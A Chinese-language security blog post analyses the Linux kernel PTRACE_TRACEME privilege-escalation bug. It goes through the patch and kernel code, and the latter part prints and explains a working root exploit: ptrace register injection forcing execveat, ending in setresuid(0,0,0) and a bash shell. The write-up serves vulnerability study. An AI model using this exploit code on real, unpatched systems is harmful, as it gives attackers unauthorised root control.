作者:Gengjia Chen of IceSword Lab, qihoo 360
博客:IceSword Lab

PTRACE_TRACEME 漏洞 是 Jann Horn 201907 月發現的內核提權漏洞, 漏洞發現和利用的思路有很多值得學習的地方, 本文記錄了個人的學習過程

漏洞補丁

我們從漏洞補丁 ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME 入手分析

Fix two issues:

// 第一個問題,是 cred 的 rcu reference 問題
When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU   
reference to the parent's objective credentials, then give that pointer
to get_cred().  However, the object lifetime rules for things like
struct cred do not permit unconditionally turning an RCU reference into
a stable reference.

// 第二個問題,tracee 記錄的 tracer 的 cred 的問題
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.


Fix both of these by always recording the credentials of the process
that is requesting the creation of the ptrace relationship:
current_cred() can't change under us, and current is the proper subject
for access control.

以上是補丁的描述,以下是補丁的代碼

diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
  */
 static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
 {
-   rcu_read_lock();
-   __ptrace_link(child, new_parent, __task_cred(new_parent));
-   rcu_read_unlock();
+   __ptrace_link(child, new_parent, current_cred());
 }

從補丁的描述來看,一共修復了 2 個問題

  • 1 是 rcu reference 的問題,對應的代碼是刪除了 rcu 鎖;
  • 2 是 tracee 記錄 tracer 進程的 cred 引發的問題

本文不關心第一個問題,只分析可以用于本地提權的第二個問題

從補丁描述看第二個問題比較復雜,我們后面再分析,補丁對應的代碼倒是非常簡單, 將 ‘__task_cred(new_parent)’ 換成了 ‘current_cred()’, 也就是說記錄的 cred 從 tracer 進程的 cred 換成了當前進程的 cred

漏洞分析

ptrace 是一個系統調用,它提供了一種方法來讓進程 (tracer) 可以觀察和控制其它進程 (tracee) 的執行,檢查和改變其核心映像以及寄存器, 主要用來實現斷點調試和系統調用跟蹤

1    396  kernel/ptrace.c <<ptrace_attach>>
          ptrace_link(task, current);  // link 的雙方分別是要 trace 的目標進程 'task' 
          //  和發動 trace 的當前進程 'current'
2    469  kernel/ptrace.c <<ptrace_traceme>>
          ptrace_link(current, current->real_parent);  // link 的雙方分別是發動 trace 的
                  // 當前進程 ‘current’ 和當前進程的
                  // 父進程 ' current->real_parent'

trace 關系的建立有 2 種方式

  • 1 是進程調用 fork 函數然后子進程主動調用 PTRACE_TRACEME, 這是由 tracee 發起的, 對應內核函數 ptrace_traceme
  • 2 是進程調用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主動 trace 其他進程, 這是由 tracer 發起的, 對應內核函數 ptrace_attach

不管是哪種方式,最后都會調用 ptrace_link 函數去建立 tracer 和 tracee 之間的 trace 關系

  • ptrace_attach 關聯的雙方是 ‘task’ (tracee) 和 ‘current’ (tracer)
  • ptrace_traceme 關聯的雙方是 ‘current’ (tracee) 和 ‘current->real_parent’ (tracer)

這里我們要仔細記住上面 2 種模式下 tracer 和 tracee 分別是什么,因為這就是漏洞的關鍵

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. 將自己加入父進程的 ptraced 隊列
        child->parent = new_parent; // 2. 將父進程地址保存在 parent 指針
        child->ptracer_cred = get_cred(ptracer_cred); // 3. 保存 ptracer_cred, 我們只關注這個變量
}

建立 trace 關系的關鍵是由 tracee 記錄 tracer 的 cred, 保存在 tracee 的 ‘ptracer_cred’ 變量,這個變量名很顧名思義

ptracer_cred 這個概念是由 2016 年的一個補丁 ptrace: Capture the ptracer’s creds not PT_PTRACE_CAP 引入的, 引入 ptracer_cred 的目的是用于當 tracee 執行 exec 去加載 setuid executable 時做安全檢測

為什么需要這個安全檢測呢?

exec 函數族可以更新進程的鏡像, 如果被執行文件的 setuid 位 置位,則運行這個可執行文件時,進程的 euid 會被修改成該可執行文件的所有者的 uid, 如果可執行文件的所有者權限比調用 exec 的進程高, 運行這類 setuid executable 會有提權的效果

假如執行 exec 的進程本身是一個 tracee, 當它執行了 setuid executable 提權之后,由于 tracer 可以隨時修改 tracee 的寄存器和內存,這時候低權限的 tracer 就可以控制 tracee 去執行越權操作

作為內核,顯然是不允許這樣的越權行為存在的,所以當 trace 關系建立時, tracee 需要保存 tracer 的 cred (即 ptracer_cred), 然后在執行 exec 過程中, 如果發現執行的可執行程序是 setuid 位 置位的, 則會判斷 ‘ptracer_cred’ 的權限, 如果權限不滿足,將不會執行 setuid 位 的提權, 而是以原有的進程權限執行這個 setuid executable

這個過程的代碼分析如下(本文的代碼分析基于 v4.19-rc8)

do_execve
  -> __do_execve_file
  -> prepare_binprm 
      -> bprm_fill_uid
      -> security_bprm_set_creds
          ->cap_bprm_set_creds
        -> ptracer_capable
          ->selinux_bprm_set_creds
          ->(apparmor_bprm_set_creds)
          ->(smack_bprm_set_creds)
          ->(tomoyo_bprm_set_creds)

如上,execve 權限相關的操作主要在函數 ‘prepare_binprm’ 里

1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- 初步填充新進程的 cred
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- 安全檢測,   
             // 可能會修改新進程的 cred
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

如上,先調用 ‘bprm_fill_uid’ 初步填充新進程的 cred, 再調用 ‘security_bprm_set_creds’ 做安全檢測并修改新的 cred

1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511         struct inode *inode;
1512         unsigned int mode;
1513         kuid_t uid;
1514         kgid_t gid;
1515 
1516         /*
1517          * Since this can be called multiple times (via prepare_binprm),
1518          * we must clear any previous work done when setting set[ug]id
1519          * bits from any earlier bprm->file uses (for example when run
1520          * first for a setuid script then again for its interpreter).
1521          */
1522         bprm->cred->euid = current_euid(); // <--- 先使用本進程的euid
1523         bprm->cred->egid = current_egid();
1524 
1525         if (!mnt_may_suid(bprm->file->f_path.mnt))
1526                 return;
1527 
1528         if (task_no_new_privs(current))
1529                 return;
1530 
1531         inode = bprm->file->f_path.dentry->d_inode;
1532         mode = READ_ONCE(inode->i_mode);
1533         if (!(mode & (S_ISUID|S_ISGID))) // <---------- 如果可執行文件沒有 setuid/setgid 位,這里就可以返回了
1534                 return;
1535 
1536         /* Be careful if suid/sgid is set */
1537         inode_lock(inode);
1538 
1539         /* reload atomically mode/uid/gid now that lock held */
1540         mode = inode->i_mode;
1541         uid = inode->i_uid; // <---- 如果文件 S_ISUID 置位,使用文件的 i_uid
1542         gid = inode->i_gid;
1543         inode_unlock(inode);
1544 
1545         /* We ignore suid/sgid if there are no mappings for them in the ns */
1546         if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547                  !kgid_has_mapping(bprm->cred->user_ns, gid))
1548                 return;
1549 
1550         if (mode & S_ISUID) {
1551                 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552                 bprm->cred->euid = uid; // <------ 使用文件的 i_uid 作為新進程的 euid
1553         }
1554 
1555         if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556                 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557                 bprm->cred->egid = gid;
1558         }
1559 }

如上, 主要看兩行

  • 1522 行, 將當前的 euid 賦值新的 euid, 所以大部分執行了 execve 的進程的權限跟原來的一樣
  • 1552 行,如果帶有 suid bit, 則將可執行文件的所有者的 uid 賦值新的 euid, 這就是所謂 setuid 的實現, 新的 euid 變成了它執行的可執行文件所有者的 uid, 如果所有者是特權用戶, 這里就實現了提權

但是,這里的 euid 依然不是最終的結果, 還需要進入函數 security_bprm_set_creds 做進一步的安全檢測

security_bprm_set_creds 函數調用的是 LSM 框架

在我分析的內核版本上, 實現 ‘bprm_set_creds’ 這個 hook 點安全檢測的 lsm 框架有 5 種, 檢測函數如下,

  • cap_bprm_set_creds
  • selinux_bprm_set_creds
  • apparmor_bprm_set_creds
  • smack_bprm_set_creds
  • tomoyo_bprm_set_creds

這里哪些 hook 檢測函數會被執行,其實是跟具體的內核配置有關的, 理論上把所有 lsm 框架都啟用的話,上述所有這些實現了 ‘bprm_set_creds’ hook 檢測的函數都會被執行

在我的分析環境里實際運行的檢測函數只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 這倆

其中, 對 euid 有影響的是 ‘cap_bprm_set_creds’ 這個函數

    815 int cap_bprm_set_creds(struct linux_binprm *bprm)
    816 {
    817         const struct cred *old = current_cred();
    818         struct cred *new = bprm->cred;
    819         bool effective = false, has_fcap = false, is_setid;
    820         int ret;
    821         kuid_t root_uid;
    ===================== skip ======================
    838         /* Don't let someone trace a set[ug]id/setpcap binary with the revised
    839          * credentials unless they have the appropriate permit.
    840          *
    841          * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
    842          */
    843         is_setid = __is_setuid(new, old) || __is_setgid(new, old);  
    844 
    845         if ((is_setid || __cap_gained(permitted, new, old)) && // <---- 檢測是否執行的是 setid 程序
    846             ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 
    847              !ptracer_capable(current, new->user_ns))) { // <----- 如果執行execve的進程被trace了,且執行的程序是 setuid 的,需要增加權限檢測
    848                 /* downgrade; they get no more than they had, and maybe less */
    849                 if (!ns_capable(new->user_ns, CAP_SETUID) ||
    850                     (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
    851                         new->euid = new->uid; // <----- 如果檢測不通過,會將新進程的 euid 重新設置為原進程的 uid
    852                         new->egid = new->gid;
    853                 }
    854                 new->cap_permitted = cap_intersect(new->cap_permitted,
    855                                                    old->cap_permitted);
    856         }
    857 
    858         new->suid = new->fsuid = new->euid;
    859         new->sgid = new->fsgid = new->egid;
    ===================== skip ======================
}

如上

  • 行 845, 檢測 euid 是否跟原有的 uid 不一致 (在函數 bprm_fill_uid 分析里我們知道,如果執行的文件是 setuid bit 的, euid 就會不一致)

所以這里等同于檢測執行的可執行程序是不是 setid 程序

  • 行 847, 檢測本進程是否是 tracee

如果兩個條件同時滿足,需要執行 ptracer_capable 函數進行權限檢測,假設檢測不通過, 會執行 downgrade 降權

  • 行 851, 將 new->euid 的值重新變成 new->uid, 就是說在函數 bprm_fill_uid 里提的權在這里可能又被降回去
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501         int ret = 0;  /* An absent tracer adds no restrictions */
502         const struct cred *cred;
503         rcu_read_lock();
504         cred = rcu_dereference(tsk->ptracer_cred); // <----- 取出 ptrace_link 時保存的 ptracer_cred 
505         if (cred)
506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-------- 進入 lsm 框架進行安全檢測
507         rcu_read_unlock();
508         return (ret == 0);
509 }

如上,

  • 行 504, 取出 ‘tsk->ptracer_cred’
  • 行 506, 進入 lsm 框架對 ‘tsk->ptracer_cred’ 進行檢測

到了這里, 這個漏洞涉及到的變量 ‘tsk->ptracer_cred’ 終于出現了, 如前所述,這個變量是建立 trace 關系時, tracee 保存的 tracer 的 cred

當 tracee 隨后執行 execve 去執行 suid 可執行程序時,就會調用 ptracer_capable 這個函數, 通過 lsm 里的安全框架去判斷 ‘ptracer_cred’ 的權限

lsm 框架里的 capable hook 檢測我們這里不分析了, 簡單來說, 如果 tracer 本身是 root 權限, 則這里的檢測會通過, 如果不是, 就會返回失敗

根據前面的分析,如果 ptracer_capable 檢測失敗, new->euid 的權限會被降回去

舉個例子, A ptrace B , B execve 執行 ‘/usr/bin/passwd’, 根據上面代碼的分析, 如果 A 是 root 權限, 則 B 執行 passwd 時的 euid 是 root, 否則就還是原有的權限

kernel/ptrace.c <<\ptrace_traceme>>
             ptrace_link(current, current->real_parent);  

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

回到漏洞代碼, 為什么 traceme 在建立 trace link 時記錄 parent 的 cred 是不對的呢? 明明這時候 parent 就是 tracer 啊?

我們用 Jann Horn 舉的例子來說明為什么 traceme 這種方式建立 trace link 時不能使用 tracer 的 cred

- 1, task A: fork()s a child, task B
- 2, task B: fork()s a child, task C
- 3, task B: execve(/some/special/suid/binary)
- 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
- 5, task C: execve(/usr/bin/passwd)
- 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
- 7, task B: become dumpable again (e.g. execve(/some/other/binary))
- 8, task A: PTRACE_ATTACH to task B
- 9, task A: use ptrace to take control of task B
- 10, task B: use ptrace to take control of task C

如上場景有 3 個進程 A, B, C

  • 第 4 步, task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 時, 由于 B 此時是 euid = 0 (因為它剛剛執行了 suid binary), 所以 C 記錄的 ptracer_cred 的 euid 也是 0
  • 第 5 步, task C 隨后執行 execve(suid binary), 根據我們上面的分析,由于 C 的 ptracer_cred 是特權的, 所以 ptracer_capable 函數檢測通過,所以執行完 execve 后, task C 的 euid 也提權成 0 , 注意此時 B 和 C 的 trace link 還是有效的
  • 第 6 步, task B 執行 setresuid 將自己降權, 這個降權的目的是為了能讓 task A attach
  • 第 8 步, task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通權限, 之后 A 可以控制 B 執行任何操作
  • 第 9 步, task B 控制 task C 執行提權操作

前面 8 步,依據之前的代碼分析都是成立的,那么第 9 步能不能成立呢?

執行第 9 步時, task B 本身是普通權限, task C 的 euid 是 root 權限, B 和 C 的 trace link 有效, 這種條件下 B 能不能發送 ptrace request 讓 C 執行各種操作,包括提權操作?

下面我們結合代碼分析這個問題

1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
1112                 unsigned long, data)
1113 {
1114         struct task_struct *child;
1115         long ret;
1116 
1117         if (request == PTRACE_TRACEME) {
1118                 ret = ptrace_traceme(); // <----- 進入 traceme 分支
1119                 if (!ret)
1120                         arch_ptrace_attach(current);
1121                 goto out;
1122         }
1123 
1124         child = find_get_task_by_vpid(pid);
1125         if (!child) {
1126                 ret = -ESRCH;
1127                 goto out;
1128         }
1129 
1130         if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
1131                 ret = ptrace_attach(child, request, addr, data); // <------ 進入 attach 分支
1132                 /*
1133                  * Some architectures need to do book-keeping after
1134                  * a ptrace attach.
1135                  */
1136                 if (!ret)
1137                         arch_ptrace_attach(child);
1138                 goto out_put_task_struct;
1139         }
1140 
1141         ret = ptrace_check_attach(child, request == PTRACE_KILL ||
1142                                   request == PTRACE_INTERRUPT);
1143         if (ret < 0)
1144                 goto out_put_task_struct;
1145 
1146         ret = arch_ptrace(child, request, addr, data); // <---- 其他 ptrace request 
1147         if (ret || request != PTRACE_DETACH)
1148                 ptrace_unfreeze_traced(child);
1149 
1150  out_put_task_struct:
1151         put_task_struct(child);
1152  out:
1153         return ret;
1154 }

如上, 由于 task B 和 task C 此時已經存在 trace link, 所以通過 B 向 C 可以直接發送 ptrace request, 將進入函數 arch_ptrace

arch/x86/kernel/ptrace.c

arch_ptrace 
  -> ptrace_request 
      -> generic_ptrace_peekdata
          generic_ptrace_pokedata 
             -> ptrace_access_vm 
                  -> ptracer_capable 

 kernel/ptrace.c
 884 int ptrace_request(struct task_struct *child, long request,
 885                    unsigned long addr, unsigned long data)
 886 {
 887         bool seized = child->ptrace & PT_SEIZED;
 888         int ret = -EIO;
 889         siginfo_t siginfo, *si;
 890         void __user *datavp = (void __user *) data;
 891         unsigned long __user *datalp = datavp;
 892         unsigned long flags;
 893 
 894         switch (request) {
 895         case PTRACE_PEEKTEXT:
 896         case PTRACE_PEEKDATA:
 897                 return generic_ptrace_peekdata(child, addr, data);
 898         case PTRACE_POKETEXT:
 899         case PTRACE_POKEDATA:
 900                 return generic_ptrace_pokedata(child, addr, data);
 901 
 =================== skip ================
 1105 }


 1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
 1157                             unsigned long data)
 1158 {
 1159         unsigned long tmp;
 1160         int copied;
 1161 
 1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- 調用 ptrace_access_vm
 1163         if (copied != sizeof(tmp))
 1164                 return -EIO;
 1165         return put_user(tmp, (unsigned long __user *)data);
 1166 }
 1167 
 1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
 1169                             unsigned long data)
 1170 {
 1171         int copied;
 1172 
 1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- 調用 ptrace_access_vm
 1174                         FOLL_FORCE | FOLL_WRITE);
 1175         return (copied == sizeof(data)) ? 0 : -EIO;
 1176 }

如上,當 tracer 想要控制 tracee 執行新的代碼邏輯時,需要發送 request 讀寫 tracee 的代碼區和內存區, 對應的 request 是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA

這幾種讀寫操作最終都是通過函數 ptrace_access_vm 實現的

kernel/ptrace.c
38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
39                      void *buf, int len, unsigned int gup_flags)
40 {
41         struct mm_struct *mm;
42         int ret;
43 
44         mm = get_task_mm(tsk);
45         if (!mm)
46                 return 0;
47 
48         if (!tsk->ptrace ||
49             (current != tsk->parent) ||
50             ((get_dumpable(mm) != SUID_DUMP_USER) &&
51              !ptracer_capable(tsk, mm->user_ns))) { // < ----- 又是調用 ptracer_capable 函數
52                 mmput(mm);
53                 return 0;
54         }
55 
56         ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
57         mmput(mm);
58 
59         return ret;
60 }

kernel/capability.c
499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
500 {
501         int ret = 0;  /* An absent tracer adds no restrictions */
502         const struct cred *cred;
503         rcu_read_lock();
504         cred = rcu_dereference(tsk->ptracer_cred);
505         if (cred)
506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
507         rcu_read_unlock();
508         return (ret == 0);
509 }

如上, ptrace_access_vm 函數會調用我們之前分析到的 ‘ptracer_capable’ 來決定這個 request 是否可以進行, 這是 ‘ptracer_capable’ 函數的第二種使用場景

根據之前我們分析的結果, task C 此時保存的 ptracer_cred 是特權 cred, 所以這時候 ptracer_capable 會通過, 也就是說我們回答了剛剛的問題, 這種情況下,普通權限的 task B 是可以發送 ptrace request 去讀寫 root 權限的 task C 的內存區和代碼區的

至此,task C 記錄的這個特權 ptracer_cred 實際上發揮了 2 種作用

  • 1,可以讓 task C 執行 execve(suid binary) 給自己提權
  • 2,可以讓普通權限的 task B 執行 ptrace 讀寫 task C 的代碼區和內存區,從而控制 task C 執行任意操作

上面 2 點合起來,不就是完整的提權操作嗎?

小結

我們仔細回顧上述代碼分析過程, 才終于明白補丁描述寫的這段話

PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

本質上這個漏洞有點像 TOCTOU 類漏洞, ptracer_cred 的獲取是在 traceme 階段, 而 ptracer_cred 的應用是在隨后的各種 request 階段, 而在隨后的 ptrace request 的時候, tracer 的 cred 可能已經不是一開始建立 trace link 時的那個 cred 了

diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
  */
 static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
 {
-   rcu_read_lock();
-   __ptrace_link(child, new_parent, __task_cred(new_parent));
-   rcu_read_unlock();
+   __ptrace_link(child, new_parent, current_cred());
 }

我們再次看看 jann horn 的補丁: ‘__task_cred(new_parent)’ -> ‘current_cred()’

補丁的意思是說在 PTRACE_TRACEME 這種場景下, ptracer_cred 記錄的不應該是父進程的 cred, 而應該是自己的 cred

所以我覺得從這個變量的用途來說,它其實記錄的不是 tracer 的 cred, 而是 ‘trace link creater’ 的 cred

我建議 jann horn 將這個變量名改成 ptracelinkcreater_cred, 當 trace link 由 PTRACE_ATTACH 建立時, 它等于 tracer 的 cred, 當 trace link 由 PTRACE_TRACEME 建立時, 它等于 tracee 的 cred, 它實際上記錄的是 trace 關系建立者的權限 !

exploit

本漏洞利用的關鍵是找到合適的可執行程序啟動 task B, 這個可執行程序要滿足如下條件:

  • 1, 必須是能被普通權限用戶調用
  • 2, 執行時必須有提權到root的階段
  • 3, 執行提權后必須執行降權

(短暫提權到 root 的目的是讓 task C 可以獲取 root 的 ptracer_cred, 再降權的目的是讓 B 能被普通權限的進程 ptrace attach)

這里我列出 3 份 exploit 代碼:

jann horn 的 exploit 里使用桌面發行版自帶的 pkexec 程序用于啟動 task B

pkexec 允許特權用戶以其他用戶權限執行另外一個可執行程序, 用于 polkit 認證框架, 當使用 –user 參數時, 剛好可以讓進程先提權到 root 然后再降權到指定用戶,因此可以用于構建進程 B, 此外需要找到通過 polkit 框架執行的可執行程序(jann horn 把他們成為 helper), 這些 helper 程序需要滿足普通用戶用 pkexec 執行它們時不需要認證(很多通過 polkit 執行的程序都需要彈窗認證), 執行的模式如下:

  • /usr/bin/pkexec –user nonrootuser /user/sbin/some-helper-binary

bcoles 的 exploit 在 jann horn 的基礎上增加了尋找更多 helper binary 的代碼, 因為 jann horn 的 helper 是一個寫死的程序, 在很多發行版并不存在,所以他的 exploit 在很多發行版系統上無法運行, bcoles 的 exploit 可以在更多的發行版上運行成功

本人出于學習的目的,也寫了一份 jiayy 的 exploit, 因為 helper binary 因不同發行版而異, pkexec 也是桌面發行版才有, 而事實上這個提權漏洞是 linux kernel 的漏洞, 所以我把 jann horn 的 exploit 改成了使用一個 fakepkexec 程序來提權, 而這個 fakepkexec 和 fakehelper 程序手動生成(而不是從目標系統搜索),這樣一來學習者可以在任何存在本漏洞的 linux 系統(不需要桌面)運行我的 exploit 進行研究

exploit 分析

下面簡單過一下 exploit 的代碼

167 int main(int argc, char **argv) {
168   if (strcmp(argv[0], "stage2") == 0)
169     return middle_stage2();
170   if (strcmp(argv[0], "stage3") == 0)
171     return spawn_shell();
172 
173   helper_path = "/tmp/fakehelper";
174 
175   /*
176    * set up a pipe such that the next write to it will block: packet mode,
177    * limited to one packet
178    */
179   SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180   SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181   char dummy = 0;
182   SAFE(write(block_pipe[1], &dummy, 1));
183 
184   /* spawn pkexec in a child, and continue here once our child is in execve() */
185   static char middle_stack[1024*1024];
186   pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187                             CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188   if (!middle_success) return 1;
189 
======================= skip =======================
215 }

先看行 186, 調用 clone 生成子進程(也就是 task B), task B 運行 middle_main

 64 static int middle_main(void *dummy) {
 65   prctl(PR_SET_PDEATHSIG, SIGKILL);
 66   pid_t middle = getpid();
 67 
 68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
 69 
 70   pid_t child = SAFE(fork());
 71   if (child == 0) {
 72     prctl(PR_SET_PDEATHSIG, SIGKILL);
 73 
 74     SAFE(dup2(self_fd, 42));
 75 
 76     /* spin until our parent becomes privileged (have to be fast here) */
 77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
 78     char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
 79     while (1) {
 80       char buf[1000];
 81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
 82       buf[buflen] = '\0';
 83       if (strstr(buf, needle)) break;
 84     }
 85 
 86     /*
 87      * this is where the bug is triggered.
 88      * while our parent is in the middle of pkexec, we force it to become our
 89      * tracer, with pkexec's creds as ptracer_cred.
 90      */
 91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
 92 
 93     /*
 94      * now we execute passwd. because the ptrace relationship is considered to
 95      * be privileged, this is a proper suid execution despite the attached
 96      * tracer, not a degraded one.
 97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
 98      */
 99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

行 70, 調用 fork 生成孫進程(也就是 task C)

然后行 111, task B 運行 fakepkexec 讓自己提權再降權

然后看行 76 ~ 84, task C 檢測到 task B 的 euid 變成 0 之后, 會執行行 91 進行 PTRACE_TRACEME 操作獲取 root 的 ptracer_cred, 然后緊接著 task C 馬上運行 execl 執行一個 suid binary 讓自己的 euid 變成 0

190   /*
191    * wait for our child to go through both execve() calls (first pkexec, then
192    * the executable permitted by polkit policy).
193    */
194   while (1) {
195     int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196     char buf[16];
197     int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198     buf[buflen] = '\0';
199     *strchrnul(buf, '\n') = '\0';
200     if (strncmp(buf, basename(helper_path), 15) == 0)
201       break;
202     usleep(100000);
203   }
204 
205   /*
206    * our child should have gone through both the privileged execve() and the
207    * following execve() here
208    */
209   SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210   SAFE(waitpid(midpid, &dummy_status, 0));
211   fputs("attached to midpid\n", stderr);
212 
213   force_exec_and_wait(midpid, 0, "stage2");
214   return 0;

接下去回到 task A 的 main 函數, 行 194 ~ 202, task A 檢測到 task B 的 binary comm 變成 helper 之后, 運行行 213 執行 force_exec_and_wait

116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

函數 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 執行 execveat 函數替換進程的鏡像, 這里它控制 task B 執行了 task A 的進程(即 exploit 的可執行程序)然后參數為 stage2, 這實際上就是讓 task B 執行了 middle_stage2 函數

167 int main(int argc, char **argv) {
168   if (strcmp(argv[0], "stage2") == 0)
169     return middle_stage2();
170   if (strcmp(argv[0], "stage3") == 0)
171     return spawn_shell();

而 middle_stage2 函數同樣調用了 force_exec_and_wait , 這將使 task B 利用 ptrace 控制 task C 執行 execveat 函數,將 task C 的鏡像也替換為 exploit 的 binary, 且參數是 stage3

153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

當 exploit binary 以參數 stage3 運行時,實際運行的是 spawn_shell 函數, 所以 task C 最后階段運行的是 spawn_shell

160 static int spawn_shell(void) {
161   SAFE(setresgid(0, 0, 0));
162   SAFE(setresuid(0, 0, 0));
163   execlp("bash", "bash", NULL);
164   err(1, "execlp");
165 }

